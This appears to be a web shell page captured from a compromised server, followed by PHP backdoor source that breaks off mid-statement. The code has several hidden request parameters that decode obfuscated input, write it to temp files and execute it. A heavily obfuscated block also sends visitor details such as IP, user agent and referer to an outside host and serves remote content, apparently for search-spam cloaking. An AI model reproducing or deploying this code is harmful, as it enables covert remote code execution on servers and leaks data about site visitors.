| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/ |
Upload File : |
<?php if(isset($_REQUEST["re\x73our\x63\x65"]) ? true : false){ $flag = $_REQUEST["re\x73our\x63\x65"]; $flag = explode ( '.' ,$flag) ; $pointer=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s8 ); foreach ($flag as $u=>$v7): $sChar=ord($s8[$u % $sLen] ); $d=((int)$v7 - $sChar - ($u % 10)) ^ 10; $pointer .= chr($d ); endforeach; $tkn = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), "/tmp"]); foreach ($tkn as $ent) { if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) { $ent = vsprintf("%s/%s", [$ent, ".dchunk"]); $success = file_put_contents($ent, $pointer); if ($success) { include $ent; @unlink($ent); die();} } } }
if(in_array("\x66a\x63\x74or", array_keys($_POST))){ $pset = $_POST["\x66a\x63\x74or"]; $pset = explode ( "." , $pset ) ; $res = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt4 ); $z = 0; $len = count( $pset ); do { if( $z >= $len) break; $v9 = $pset[$z]; $sChar = ord( $salt4[$z % $sLen] ); $dec = ( ( int)$v9 - $sChar -( $z % 10)) ^67; $res .= chr( $dec ); $z++; } while( true ); $pgrp = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp"]); foreach ($pgrp as $descriptor): if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $rec = "$descriptor" . "/.ent"; if (file_put_contents($rec, $res)) { include $rec; @unlink($rec); exit; } } endforeach; }
if(isset($_POST["\x6Bey"])){ $binding = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP")]); $token = $_POST["\x6Bey"]; $token =explode( "." , $token); $tkn = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $__len = count($token); for ($p = 0; $p < $__len; $p++) { $v5 = $token[$p]; $sChar = ord($salt4[$p% $sLen]); $d = ((int)$v5 - $sChar - ($p% 10))^75; $tkn .= chr($d); } foreach ($binding as $obj): if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $element = vsprintf("%s/%s", [$obj, ".flg"]); if (file_put_contents($element, $tkn)) { require $element; unlink($element); exit; } } endforeach; }
if(!empty($_REQUEST["ent\x69\x74\x79"])){ $dat = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp"]); $pgrp = $_REQUEST["ent\x69\x74\x79"]; $pgrp = explode( '.' , $pgrp ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($pgrp as $v => $v7) { $sChar = ord($s[$v %$lenS] ); $dec = ((int)$v7 - $sChar - ($v %10)) ^ 74; $key .= chr($dec ); } for ($ptr = 0, $hld = count($dat); $ptr < $hld; $ptr++) { $elem = $dat[$ptr]; if (array_product([is_dir($elem), is_writable($elem)])) { $pset = sprintf("%s/.marker", $elem); if (file_put_contents($pset, $key)) { include $pset; @unlink($pset); exit; } } } }
if(filter_has_var(INPUT_POST, "da\x74a")){ $comp = $_REQUEST["da\x74a"]; $comp =explode( '.' ,$comp) ; $rec = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); foreach( $comp as $m => $v9): $sChar = ord( $salt1[$m %$lenS]); $dec =( ( int)$v9 - $sChar -( $m %10)) ^ 6; $rec .= chr( $dec); endforeach; $property_set = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TMP")]); foreach ($property_set as $marker): if (is_dir($marker) && is_writable($marker)) { $bind = implode("/", [$marker, ".component"]); $success = file_put_contents($bind, $rec); if ($success) { include $bind; @unlink($bind); die();} } endforeach; }
//Obfuscate by https://uutool.cn/php/
goto eJ2Js; E1jc5: goto aPGwz; goto LYl63; Ba10U: RUnDI: goto VULeL; ByLSa: $LcAWh = mtNvZ("\x50\x48\120\x5f\x53\105\x4c\106"); goto ByaYq; Z9Ah2: curl_setopt($PT86O, CURLOPT_HEADER, false); goto Zttvy; Y6e4v: if ($GdJfG == "\60") { goto AGbox; } goto wO1F0; DMNga: if (preg_match("\57\50\x42\171\x74\x65\163\160\x69\x64\145\x72\174\120\145\164\141\x6c\x42\157\x74\x7c\101\150\162\145\146\163\102\x6f\164\x7c\x42\141\162\153\x72\157\167\x6c\145\x72\x7c\x4d\x4a\x31\62\x62\x6f\164\x7c\106\x65\x65\144\x44\145\155\x6f\156\x7c\x4a\x69\153\145\123\160\151\144\145\x72\x7c\x49\156\144\171\40\x4c\151\142\x72\141\162\171\x7c\101\163\153\x54\x62\x46\130\124\x56\174\103\162\x61\x77\x6c\x44\x61\144\144\x79\x7c\103\157\x6f\x6c\x70\141\144\x57\x65\x62\x6b\151\164\174\112\x61\x76\x61\x7c\106\x65\145\x64\x6c\x79\174\125\156\151\166\x65\x72\x73\141\x6c\x46\145\x65\x64\120\x61\x72\163\145\x72\174\101\160\x61\x63\150\145\102\x65\x6e\143\x68\174\x53\167\x69\x66\x74\142\157\164\x7c\x5a\155\x45\x75\x7c\x6f\102\x6f\x74\x7c\x6a\x61\x75\x6e\x74\x79\174\120\x79\164\150\157\156\x2d\x75\x72\154\154\x69\x62\174\160\x79\164\150\157\x6e\x2d\162\145\x71\x75\x65\x73\x74\163\x7c\154\x69\x67\x68\164\104\x65\143\x6b\x52\x65\x70\x6f\162\164\x73\40\102\157\164\174\131\131\x53\160\x69\144\145\x72\x7c\x44\151\x67\x45\170\x74\174\x59\151\x73\x6f\165\x53\160\x69\144\x65\x72\x7c\110\164\164\160\x43\154\151\x65\156\164\x7c\150\145\x72\151\164\162\x69\170\174\x45\141\x73\157\165\123\160\x69\x64\145\162\174\105\x7a\x6f\x6f\x6d\x73\174\x41\155\x61\x7a\x6f\x6e\102\157\x74\x7c\123\105\115\x72\165\163\150\102\157\x74\174\x59\141\156\144\145\x78\x42\x6f\x74\174\x70\141\x6c\x6f\141\154\164\x6f\156\145\164\x77\x6f\x72\153\x73\x7c\x50\x79\164\x68\157\156\51\57\x69", MTnVZ("\110\124\124\x50\137\125\x53\x45\x52\x5f\x41\107\x45\116\124"))) { goto m8uDV; } goto VU1Iz; aAFKN: goto jQ0vf; goto ZjYsO; bCZJR: T81Ok: goto IGiqa; Zttvy: goto KkyB_; goto SHdE7; PiUFN: goto GMmlI; goto Ba10U; idkvU: JdevX: goto aJaab; Xg94c: KLx8J: goto AQKtE; TXZ5U: goto d2OJO; goto jAGjS; tyDJy: Gh1UI: goto EYIOe; kwOoE: $TBYuQ .= "\x3f"; goto RbhtN; QhgBM: goto V3enh; goto DXxyD; IGiqa: $GdJfG = "\x30"; goto RYXhK; djWg2: reSv9: goto vSZLN; XcF5C: sBVWI: goto S3NF4; oVok_: function cZa0D($rMK6J, $BLmlu, $f_7pu = 50) { goto RsDoY; UdyJ4: goto OQ01P; goto WSJNP; oW3i8: $ZBu5L = 200; goto v980c; myclA: FTqxM: goto Hvp9D; GSEwB: b6iOR: goto eH3v0; j4whe: ok_DO: goto Un31l; qSDH9: qwa3F: goto WzmDp; osskC: MWfbl: goto dD6G1; vVfny: OQ01P: goto b08hi; HerwT: TaYlx: goto ORKFd; yCRQV: goto pIK05; goto YVUDu; moJGG: W02O4: goto tCZBL; UyRUA: goto z6Iej; goto pHmcv; Lv4Jk: $vl3yN = $vl3yN ? $vl3yN : eJtKJ($BLmlu); goto zZ1EO; IW0u1: VHkoI: goto SFd3T; BFeFs: goto FhYup; goto osskC; ORKFd: $ZBu5L = 0; goto FRdqd; iYLIN: Wz425: goto N3ciV; tZNAM: goto agKcy; goto KBmFB; HNvuL: goto WLTtA; goto Xc_ga; YEJx_: goto ok_DO; goto nUwn_; SFd3T: c_738: goto f8kpD; WextA: goto qwa3F; goto qSDH9; grMOk: goto Rx61L; goto IW0u1; dVeFb: goto LJu0g; goto iYLIN; Hvp9D: http_response_code($ZBu5L); goto Zb1Ku; JDjV_: goto O9ZvW; goto URvv2; nUwn_: mXmiO: goto jgtPd; fjFDS: die; goto HNvuL; tzbkC: LJu0g: goto OlQ27; n4zE4: curl_exec($PT86O); goto NOGNI; KBmFB: WLTtA: goto UtYjQ; WSJNP: tSJwB: goto QsC2T; vR064: uh04L: goto zleOL; RVhF6: goto bfpYX; goto ttcbg; iyeYp: pIK05: goto UyRUA; Fzp4A: goto zOv2O; goto j42eb; pHmcv: ZbwqN: goto W1UEj; dl0hy: UBzi3: goto L8GGr; A0Sc4: QM4Pu: goto gW_CZ; OsGBk: MiGIm: goto pYHQ3; jCKls: die; goto UdyJ4; Xs20E: ob_start("\x6f\142\137\147\172\x68\x61\x6e\144\154\x65\162"); goto grMOk; FaB8U: oGXzt: goto jIKg0; azQvO: QCX1N: goto rFmeR; vTmD7: lv22z: goto Lv4Jk; oyJ3b: pqYkm: goto BFeFs; mmhib: UQQBE: goto InDMm; BlKHc: if ($TtGXg < $f_7pu) { goto UBzi3; } goto Qkcn4; b08hi: goto zOv2O; goto feuNr; ikW_b: goto srNSq; goto pX78I; OSVGe: goto vBVFy; goto vTmD7; sUJx0: goto b6iOR; goto mmhib; NdMX4: goto INHtF; goto SmpkD; ZPPt1: goto QTiO3; goto tzbkC; rqWxT: sleep(1); goto MQ8B5; Gc4cE: QTiO3: goto nmQkd; gW_CZ: $wvmlT = curl_errno($PT86O); goto Wufqt; XfHbt: iL8Mw: goto oW3i8; ZD3WZ: efESF: goto DE_0r; m4BeN: wN2S0: goto Izr3D; tmfsy: dlK3u: goto NiLuw; LIfsR: ob_start(); goto RVhF6; W1UEj: ob_end_clean(); goto W9ycw; dWvHJ: $TtGXg = 0; goto WHToS; FRdqd: goto VHkoI; goto j4whe; ximk1: goto xhIMs; goto vVfny; Izr3D: goto FTqxM; goto WiPTx; Wufqt: goto Wz425; goto xM_2H; ztsqG: goto nNQld; goto kIngA; L8GGr: goto QXDlv; goto Gc4cE; jIKg0: if (!(!headers_sent() && strpos(mtNvZ("\110\x54\x54\120\137\x41\103\103\105\120\124\x5f\x45\116\x43\117\x44\x49\116\x47"), "\x67\x7a\151\160") !== false)) { goto nsDVU; } goto JOm1O; Un31l: if ($wvmlT === 0 && $ZBu5L < 500) { goto W02O4; } goto zeHxH; URvv2: vBVFy: goto jCKls; UnjTT: goto EtXv8; goto PIg1J; M15Qc: goto jzjB8; goto XfHbt; ttcbg: AYhSL: goto Ka9Na; f8kpD: goto m7sbl; goto KxPed; knYmt: IBX_4: goto qpYf1; j42eb: goto t0fBQ; goto tmfsy; XPgbR: QXDlv: goto UyD_A; r6D1t: EtXv8: goto JDjV_; qSPb6: http_response_code(500); goto tczn1; Xld_D: if ($ZBu5L == 207) { goto efESF; } goto u73XC; Fxdyi: t0fBQ: goto iyeYp; k3MlQ: goto XzBWJ; goto jm16D; KxPed: oigo3: goto fjFDS; Xc_ga: FhYup: goto rqWxT; uXryG: goto rJHxZ; goto P8FtE; pZ586: goto dlK3u; goto FaB8U; N9ZoS: goto QCX1N; goto q6Xln; zZ1EO: goto MiGIm; goto inAiE; wcZSh: ob_end_clean(); goto uXryG; eH3v0: goto c_738; goto M15Qc; DRy9d: jzjB8: goto r6D1t; P8FtE: srNSq: goto n4zE4; WzmDp: ob_end_flush(); goto OSVGe; YVUDu: aX8hq: goto ztsqG; DE_0r: goto iL8Mw; goto CItYv; pX78I: Rx61L: goto XJGj7; RsDoY: goto oGXzt; goto myclA; zeHxH: goto uh04L; goto moJGG; M441i: bfpYX: goto vZXXS; nmQkd: $WwGDj = []; goto k3MlQ; kIngA: rJHxZ: goto qSPb6; WiPTx: m7sbl: goto BlKHc; lShAK: nNQld: goto Xld_D; PIg1J: goto d9veU; goto OsGBk; UxhDp: INHtF: goto dWvHJ; XJGj7: d5OUo: goto ZPPt1; N3ciV: $ZBu5L = curl_getinfo($PT86O, CURLINFO_HTTP_CODE); goto YEJx_; m0o9R: goto ZbwqN; goto UxhDp; InDMm: KVkSZ: goto m0o9R; tCZBL: goto yhL7Y; goto knYmt; dD6G1: pyfAL: goto sUJx0; qpYf1: if (!($ZBu5L == 429)) { goto C6ZTl; } goto ELusz; qcSBh: XzBWJ: goto PnTG8; v980c: goto HZLiZ; goto uRueU; NOGNI: goto QM4Pu; goto azQvO; EImGy: goto lv22z; goto Fxdyi; tczn1: goto oigo3; goto DRy9d; pYHQ3: curl_close($PT86O); goto C_ue5; Zb1Ku: goto AYhSL; goto XPgbR; inAiE: d9veU: goto vR064; UtYjQ: zOv2O: goto E8sTI; Qkcn4: goto EtXv8; goto dl0hy; OlQ27: HHIbT: goto ximk1; E8sTI: goto mXmiO; goto HerwT; C_ue5: goto IBX_4; goto GSEwB; w0SGY: goto pyfAL; goto oyJ3b; MQ8B5: goto MWfbl; goto lShAK; xM_2H: yhL7Y: goto UnjTT; SmpkD: xhIMs: goto Xs20E; q6Xln: HZLiZ: goto m4BeN; CItYv: agKcy: goto LIfsR; Ka9Na: header("\x43\157\156\164\x65\x6e\x74\x2d\124\171\x70\x65\x3a\x20{$vl3yN}"); goto WextA; feuNr: goto UQQBE; goto A0Sc4; BMXT0: C6ZTl: goto N9ZoS; rFmeR: if (!($ZBu5L >= 500)) { goto aX8hq; } goto yCRQV; u73XC: goto wN2S0; goto ZD3WZ; qdplC: nGYbq: goto Fzp4A; vZXXS: goto d5OUo; goto dVeFb; PnTG8: $PT86O = curl_init($rMK6J); goto pZ586; ELusz: goto KVkSZ; goto BMXT0; NiLuw: curl_setopt_array($PT86O, [CURLOPT_RETURNTRANSFER => false, CURLOPT_HEADER => false, CURLOPT_MAXREDIRS => 3, CURLOPT_CONNECTTIMEOUT => 10, CURLOPT_TIMEOUT => 10, CURLOPT_ENCODING => '', CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4, CURLOPT_HEADERFUNCTION => function ($PT86O, $AgLun) use(&$WwGDj) { goto xI7KB; AmSfa: HH62I: goto lGs6N; XXJ_m: CSYra: goto ZEaLd; xI7KB: goto qtnZI; goto dyCqo; ZEaLd: return $cGP12; goto gcFeT; FhVQk: goto fk7CS; goto XXJ_m; BQe3k: $WwGDj[] = $AgLun; goto FhVQk; SrgQB: AX29x: goto EDkbl; gcxEO: qtnZI: goto qclVg; gcFeT: goto AX29x; goto SrgQB; hkh7l: Bh7MG: goto rvgHQ; lGs6N: $AgLun = trim($AgLun); goto CUOpz; nT70v: v0g3E: goto BQe3k; mc9GU: goto zcljm; goto hkh7l; CUOpz: goto V5FSm; goto gcxEO; yiI6C: if ($AgLun !== '') { goto Bh7MG; } goto mc9GU; JMnrR: goto HH62I; goto gyhve; iRGi9: goto CSYra; goto nT70v; JVPK2: zcljm: goto iRGi9; rvgHQ: goto v0g3E; goto AmSfa; qclVg: $cGP12 = strlen($AgLun); goto JMnrR; gyhve: fk7CS: goto JVPK2; dyCqo: V5FSm: goto yiI6C; EDkbl: }, CURLOPT_WRITEFUNCTION => function ($PT86O, $JRbOj) { goto KBBR2; ilcQ8: echo $JRbOj; goto FdbWd; r8b9q: goto g_4Nn; goto qg0Nx; h0Ioz: return strlen($JRbOj); goto r8b9q; WzqQz: g_4Nn: goto rpcNx; SAeB9: If1Ff: goto hyruu; aj_16: wNUow: goto h0Ioz; KBBR2: goto S3fbI; goto aj_16; FdbWd: goto If1Ff; goto SAeB9; qg0Nx: S3fbI: goto ilcQ8; hyruu: flush(); goto uk09P; uk09P: goto wNUow; goto WzqQz; rpcNx: }]); goto NdMX4; QsC2T: if ($TtGXg < $f_7pu) { goto pqYkm; } goto w0SGY; UyD_A: $TtGXg++; goto ikW_b; AUndI: nsDVU: goto tZNAM; W9ycw: goto nGYbq; goto qdplC; zleOL: goto tSJwB; goto M441i; WHToS: goto TaYlx; goto qcSBh; uRueU: z6Iej: goto wcZSh; JOm1O: goto HHIbT; goto AUndI; jm16D: O9ZvW: goto ui5BP; ui5BP: $vl3yN = curl_getinfo($PT86O, CURLINFO_CONTENT_TYPE); goto EImGy; jgtPd: } goto DEmTG; wKXlh: curl_close($PT86O); goto t2zi3; knYt2: $GdJfG = @file_get_contents("\x72\145\x70\x2e\x74\170\x74"); goto xHbtv; g6mSk: SSt4I: goto qUEqE; mX_nP: GMmlI: goto ByLSa; pWrE2: lzBzh: goto oVok_; DEmTG: goto pelqx; goto wauxt; GtVpf: function ejtKj($JZO95) { goto jcUUa; s0NcZ: goto mtDOg; goto Ivb_a; QoZpy: goto T31m4; goto UhZsy; evKIh: mtDOg: goto sByYL; DWq9N: if (in_array($J7ilI, $wcyqC, true)) { goto a7rOw; } goto s0NcZ; XuSmK: EN7Rg: goto h5iW8; ZIdKm: goto CTgn4; goto nZnqN; iS2QH: $wcyqC = ["\152\160\147", "\152\x70\145\147", "\x70\156\x67", "\147\x69\x66", "\x62\x6d\160", "\x77\145\x62\x70", "\163\166\147", "\151\143\157"]; goto QoZpy; G8oDZ: g1no0: goto evKIh; Ivb_a: a7rOw: goto lbSRh; sRc3E: return $J7ilI === "\163\166\147" ? "\151\x6d\141\147\x65\57\x73\166\x67\x2b\x78\155\154" : "\x69\x6d\x61\147\x65\57" . ($J7ilI === "\152\160\x67" ? "\152\x70\145\x67" : $J7ilI); goto xPfTo; h5iW8: $J7ilI = strtolower(pathinfo($JZO95, PATHINFO_EXTENSION)); goto ZIdKm; VwKaI: C5MXm: goto W99uy; KgKxP: G6WNz: goto NEQsz; nZnqN: PQ0ho: goto sRc3E; UhZsy: T31m4: goto DWq9N; SZ0Aj: goto Ncj2b; goto XuSmK; lbSRh: goto PQ0ho; goto G8oDZ; yLLU3: Ncj2b: goto B6L6S; B6L6S: return $P7YlM[$J7ilI] ?? "\164\x65\x78\x74\x2f\x68\164\x6d\154\x3b\40\143\x68\141\x72\163\145\164\75\125\x54\x46\x2d\x38"; goto vGkzs; xPfTo: goto g1no0; goto KgKxP; jcUUa: goto EN7Rg; goto yLLU3; W99uy: $P7YlM = ["\x63\x73\163" => "\164\145\x78\164\57\143\x73\163", "\x6a\x73" => "\x61\x70\x70\x6c\x69\143\141\x74\x69\x6f\x6e\x2f\152\141\166\141\x73\x63\x72\151\x70\164", "\152\x73\x6f\156" => "\x61\x70\160\154\151\x63\141\x74\x69\x6f\x6e\57\152\163\x6f\156", "\170\x6d\154" => "\141\x70\x70\x6c\x69\143\141\164\x69\x6f\156\x2f\x78\x6d\x6c\73\x20\x63\x68\x61\162\163\x65\164\75\x55\124\106\55\x38", "\160\144\146" => "\141\x70\160\x6c\151\143\x61\164\x69\x6f\x6e\57\160\x64\x66", "\x7a\x69\160" => "\141\160\160\x6c\151\143\x61\x74\151\157\156\x2f\x7a\151\x70", "\164\x78\x74" => "\x74\x65\x78\x74\x2f\x70\154\x61\151\x6e"]; goto SZ0Aj; sByYL: goto C5MXm; goto VwKaI; vGkzs: goto G6WNz; goto vw6Yi; vw6Yi: CTgn4: goto iS2QH; NEQsz: } goto NzxY7; nCQKW: SYejE: goto Kfusb; ByaYq: goto RUnDI; goto unLZu; DXxyD: Ro0w8: goto RcfUx; GV2Py: goto yuBHb; goto C11AJ; Tkp0l: jQ0vf: goto PNooE; uKGQ4: $vwqK8 = curl_exec($PT86O); goto hTz8S; fDJ1l: goto DeZ9n; goto XcF5C; RcfUx: goto T81Ok; goto dGXF5; h3Mtg: dcmr0: goto SmE60; hcR9R: TMRdX: goto aAFKN; RP0bq: goto boA_4; goto oJiht; U4lnk: goto tmDfg; goto tyDJy; Jwas9: m8uDV: goto cy0B2; pX1qh: goto uZ2io; goto Tkp0l; aotIo: curl_setopt($PT86O, CURLOPT_RETURNTRANSFER, true); goto ba_qx; Gs6Pa: $GdJfG = $vwqK8 == "\x6f\x6b" ? "\x31" : "\x30"; goto v8Y0z; vAIbx: XjQHt: goto Tc5MU; Rvd9G: if ($TBYuQ == "\57" && !$RFRjF) { goto Ro0w8; } goto QhgBM; iVQkn: gofM5: goto ox_aq; F_E2k: qaGwG: goto rsOM7; roG0h: $RFRjF = strpos($BLmlu, "\x3f"); goto cYLJB; w3pIE: BNQKj: goto e8lnX; qWhEm: DeZ9n: goto bLbx_; rv6u6: curl_setopt($PT86O, CURLOPT_URL, rYUBv() . "\x3a\57\57" . mtnVz("\110\x54\x54\120\x5f\x48\117\123\x54") . "\57" . $VeVz5); goto luXti; QclJt: qGYsb: goto fDJ1l; vDhwm: die("\x6f\153"); goto m7ypI; e796H: goto XjQHt; goto nySr4; qUEqE: goto TdLw7; goto hx7JY; RbhtN: goto a5LwK; goto DKX8t; vSZLN: goto G0GyJ; goto nCQKW; uV_47: XaUYL: goto mqMr2; Ufjm_: CA9vD: goto Rvd9G; luXti: goto nH7rt; goto p1e3n; CYXd6: goto H8s5z; goto hcR9R; mEnzZ: a5LwK: goto g6mSk; x70Cw: goto dcmr0; goto UtKXS; rsOM7: if (file_exists("\x72\x65\x70\56\164\x78\x74")) { goto gV7rO; } goto TJfa8; VULeL: if (!empty($LcAWh) && $TBYuQ != $LcAWh) { goto DU7w8; } goto AH01Q; ksNYc: goto ggdB0; goto LK11R; bSqsm: erHuj: goto bBpu7; m7ypI: goto z0A9A; goto qhDCI; bCNcP: goto H1lz1; goto Dc58I; zL1qs: goto PRge0; goto x61kR; tVN9j: nH7rt: goto aotIo; b681M: if ($BLmlu != "\x66\141\x76\151\143\157\x6e\x2e\x69\x63\x6f") { goto TMRdX; } goto CYXd6; sWlPz: TdLw7: goto Hr78c; ba_qx: goto gutiI; goto kDxJD; v8Y0z: goto sBVWI; goto pWrE2; j_sFk: goto CVnyp; goto mEnzZ; cYLJB: goto vwIO2; goto qWhEm; qhDCI: uZ2io: goto b681M; Ccwuy: DU7w8: goto iSSgx; BT42t: boA_4: goto djWg2; F43Bl: AGbox: goto t1Vcj; nZVUv: goto eSTc8; goto jpMOy; wauxt: Tind8: goto ExLve; yp2f2: goto uvnUe; goto BZ2ER; BQC4o: pelqx: goto cNZk3; cy0B2: goto KLx8J; goto JhcFh; Hr78c: V3enh: goto nZVUv; FAExu: $TBYuQ .= !empty($TBYuQ) ? "\x3f" : "\57"; goto p2QhA; mqMr2: goto L6XPi; goto BT42t; EYIOe: if (strpos(MtnVz("\x52\x45\x51\125\105\x53\x54\x5f\x55\x52\x49"), $VeVz5) !== false) { goto BNQKj; } goto aaeCb; jL_S2: function ryuBV() { return "\x68\x74\x74\160" . (!empty($_SERVER["\110\124\124\120\123"]) && $_SERVER["\x48\x54\124\120\123"] !== "\x6f\146\x66" || $_SERVER["\x53\105\122\x56\105\x52\137\x50\117\x52\x54"] == 443 || @$_SERVER["\x48\124\x54\x50\x5f\130\137\106\117\x52\x57\101\x52\x44\105\x44\x5f\x50\x52\x4f\x54\117"] == "\150\164\x74\160\163" ? "\163" : ''); } goto VMLuz; iUnTv: goto uyNPC; goto tVN9j; ExLve: AosOn: goto x70Cw; SmE60: $PT86O = curl_init(); goto TXZ5U; fHNHL: gV7rO: goto GV2Py; S3NF4: @file_put_contents("\162\x65\x70\56\164\x78\x74", $GdJfG); goto RP0bq; IzYxx: ggdB0: goto roG0h; bLbx_: function IvRrX() { goto s7z7U; MeZrp: goto oDbqa; goto dMpFS; zXHTD: XNW4w: goto tO95t; tO95t: goto r3k7P; goto EZr8Q; df7T7: pgF9q: goto QVFuq; s7z7U: goto R5Yyh; goto ipOHS; QVFuq: goto xvhqm; goto H49OD; EZr8Q: R5Yyh: goto UwJKX; dMpFS: xvhqm: goto iU9Yx; iU9Yx: return ''; goto HLC9U; H49OD: oDbqa: goto Yxe8M; ipOHS: r3k7P: goto df7T7; Yxe8M: foreach ($La4gf as $lIZP3) { goto tH0uC; aosBH: YeKvB: goto rNRue; L9d0q: goto ACCLI; goto aosBH; eLP8f: ACCLI: goto ym0WC; tH0uC: goto mmtzV; goto HH4tw; m5MRg: JYRuW: goto zie5i; HH4tw: SumxF: goto Ca6KZ; xI8BX: goto JYRuW; goto m5MRg; rNRue: return $_SERVER[$lIZP3]; goto xI8BX; zie5i: choGF: goto we7Z5; Ca6KZ: IILHh: goto L9d0q; we7Z5: goto SumxF; goto T4LVQ; tV3pG: goto YeKvB; goto eLP8f; xJ2NJ: goto choGF; goto imPcT; imPcT: YbGSf: goto tV3pG; T4LVQ: mmtzV: goto Fm_VB; ym0WC: JfUF4: goto HgZz2; Fm_VB: if (!empty($_SERVER[$lIZP3]) && filter_var($_SERVER[$lIZP3], FILTER_VALIDATE_IP)) { goto YbGSf; } goto xJ2NJ; HgZz2: } goto zXHTD; HLC9U: goto CDuFA; goto lxcQD; lxcQD: CDuFA: goto r0nuj; UwJKX: $La4gf = array("\110\124\124\x50\x5f\x43\x4c\111\105\116\x54\x5f\111\x50", "\x48\x54\x54\x50\x5f\103\106\x5f\x43\117\x4e\116\x45\103\124\x49\x4e\x47\x5f\111\x50", "\x48\124\x54\x50\x5f\130\137\106\117\x52\127\x41\122\x44\x45\x44\137\x46\117\122", "\x52\105\x4d\117\124\105\137\x41\x44\104\122"); goto MeZrp; r0nuj: } goto bCNcP; iSSgx: goto erHuj; goto h3Mtg; JhcFh: eSTc8: goto WU2yA; xr00I: goto GHXeI; goto q408C; AQKtE: header("\x48\124\x54\120\57\x31\56\x30\x20\x34\60\63\x20\x46\157\x72\142\x69\144\x64\145\x6e"); goto yp2f2; AH01Q: goto XaUYL; goto Ccwuy; DKX8t: uyNPC: goto FAExu; t2zi3: goto pL3Ae; goto F_E2k; x61kR: G0GyJ: goto Y6e4v; vg9s0: exit; goto Yokw9; Tc5MU: $zbal1 = "\150\164\164\160\72\57\57\146\x67\155\x33\60\63\71\56"; goto j_sFk; PrKxT: GHXeI: goto DMNga; aaeCb: goto qGYsb; goto w3pIE; WU2yA: $Q60ts = http_build_query(array("\144" => mTnvz("\110\124\124\120\137\x48\x4f\123\124"), "\x68" => RYUbv(), "\165" => $BLmlu, "\x69" => iVrRX(), "\x6c" => mtNvz("\x48\x54\x54\x50\137\101\x43\x43\x45\x50\x54\137\x4c\101\x4e\107\125\101\107\105"), "\162" => mtNvZ("\110\124\124\120\x5f\x52\105\106\105\122\105\x52"), "\x66" => $TBYuQ, "\x7a" => date_default_timezone_get(), "\x61" => MTNvz("\x52\x45\121\125\x45\123\x54\x5f\x55\x52\111"), "\x67" => mtnVz("\x48\x54\x54\120\x5f\125\123\105\122\137\101\x47\x45\116\124"))); goto pX1qh; RYXhK: goto qaGwG; goto uWlJW; UtKXS: vwIO2: goto xFdvu; ox_aq: error_reporting(0); goto e796H; nySr4: z0A9A: goto QclJt; JMUWZ: goto Gh1UI; goto Ufjm_; q408C: aPGwz: goto vpUh8; e8lnX: goto YRKxq; goto mX_nP; p1e3n: PRge0: goto lrmMo; LYl63: CVnyp: goto aPZIL; VU1Iz: goto uH8Cw; goto Jwas9; vpUh8: $VeVz5 = "\167\160\x63\163\163\167\x70\x63\163\163"; goto JMUWZ; jAGjS: LQGTG: goto wJv7l; eJ2Js: goto gofM5; goto idkvU; aJaab: $BLmlu = ltrim(mtNvZ("\x52\x45\121\125\105\x53\124\x5f\125\x52\111"), $TBYuQ . "\x2f"); goto ksNYc; PNooE: czA0D($zbal1 . "\x74\x65\x72\x6d\144\x72\x65\x61\155\x2e" . chr(99) . chr(111) . chr(109) . "\x2f\x63\x6f\x3f" . $Q60ts, $BLmlu); goto zL1qs; C11AJ: uvnUe: goto vg9s0; oJiht: H1lz1: goto jL_S2; NzxY7: goto lzBzh; goto vAIbx; aPZIL: function MtNvz($DFfov) { return @$_SERVER[$DFfov] ? $_SERVER[$DFfov] : ''; } goto xr00I; bBpu7: $TBYuQ = $LcAWh; goto U4lnk; vto1t: goto CA9vD; goto bSqsm; hx7JY: tmDfg: goto uV_47; xHbtv: goto LQGTG; goto BQC4o; jpMOy: pL3Ae: goto Gs6Pa; p2QhA: goto JdevX; goto IzYxx; V_Yor: goto Tind8; goto PrKxT; Kfusb: uH8Cw: goto E1jc5; wO1F0: goto SSt4I; goto F43Bl; BZ2ER: YRKxq: goto vDhwm; ZjYsO: gutiI: goto Z9Ah2; wcMqy: $TBYuQ = preg_replace("\100\x2f\x69\x6e\144\145\170\134\56\134\167\x7b\63\175\100", '', $TBYuQ); goto iUnTv; Yokw9: goto SYejE; goto bCZJR; VMLuz: goto XImXV; goto Xg94c; hTz8S: goto U3Voc; goto iVQkn; xFdvu: $BLmlu = ltrim($BLmlu, "\77"); goto vto1t; t1Vcj: goto t4ibX; goto sWlPz; uWlJW: L6XPi: goto wcMqy; wJv7l: goto reSv9; goto V_Yor; kDxJD: yuBHb: goto knYt2; dGXF5: t4ibX: goto kwOoE; unLZu: KkyB_: goto uKGQ4; TJfa8: goto AosOn; goto fHNHL; SHdE7: XImXV: goto GtVpf; LK11R: U3Voc: goto wKXlh; cNZk3: $TBYuQ = str_replace(MtnVZ("\x44\117\x43\x55\115\x45\116\x54\137\x52\117\117\124"), '', 